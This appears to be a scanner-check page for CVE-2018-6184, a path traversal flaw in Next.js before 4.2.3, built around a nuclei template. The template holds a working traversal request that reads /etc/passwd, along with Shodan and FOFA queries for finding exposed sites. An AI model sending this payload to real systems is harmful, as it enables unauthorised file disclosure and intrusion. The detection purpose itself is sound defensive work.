CVE-2018-6184· zeit / next.js· CWE-22
Zeit Next.js < 4.2.3 - Local File Inclusion
highseverity
7.5CVSS score
9.1%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
Fix
Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/_next/../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2018-6184 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-6184
info:
name: Zeit Next.js < 4.2.3 - Local File Inclusion
author: DhiyaneshDK
severity: high
description: |
Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
remediation: |
Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
reference:
- https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
- https://github.com/zeit/next.js/releases/tag/4.2.3
- https://nvd.nist.gov/vuln/detail/CVE-2018-6184
- https://github.com/lnick2023/nicenice
- https://github.com/masasron/vulnerability-research
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-6184
cwe-id: CWE-22
epss-score: 0.0906
epss-percentile: 0.95329
cpe: cpe:2.3:a:zeit:next.js:4.0.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zeit
product: next.js
shodan-query:
- html:"/_next/static"
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
fofa-query: body="/_next/static"
tags: cve2018,cve,nextjs,lfi,traversal,zeit,vuln
http:
- method: GET
path:
- "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
- https://github.com/zeit/next.js/releases/tag/4.2.3
- https://nvd.nist.gov/vuln/detail/CVE-2018-6184
- https://github.com/lnick2023/nicenice
- https://github.com/masasron/vulnerability-research
Use this check only on systems you are authorised to test. Where the data comes from